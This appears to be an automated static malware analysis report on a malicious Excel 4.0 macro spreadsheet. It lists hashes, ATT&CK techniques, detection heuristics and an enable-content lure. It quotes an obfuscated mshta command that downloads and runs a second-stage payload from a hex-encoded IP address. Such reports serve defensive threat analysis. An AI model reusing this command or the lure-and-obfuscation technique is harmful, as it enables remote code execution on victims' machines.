Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 821904aa68dd984c…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 2748cd1e06f38034b531b9fa7043aa89 SHA-1: 949e98826374006fa0aba881a2d2d5b020c9d727 SHA-256: 821904aa68dd984ca8bbe162e61370005a6e9333c91ebc8cccac0b9826142b0c
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an "Enable Editing" and "Enable Content" lure to prompt the user to enable macros. Upon enabling, the Auto_Open macro executes a command to download a second-stage payload from the URL "http://0xc12a24f5/c.html". The macro also defines a name 'lll' with the command "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html", indicating a secondary download attempt.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes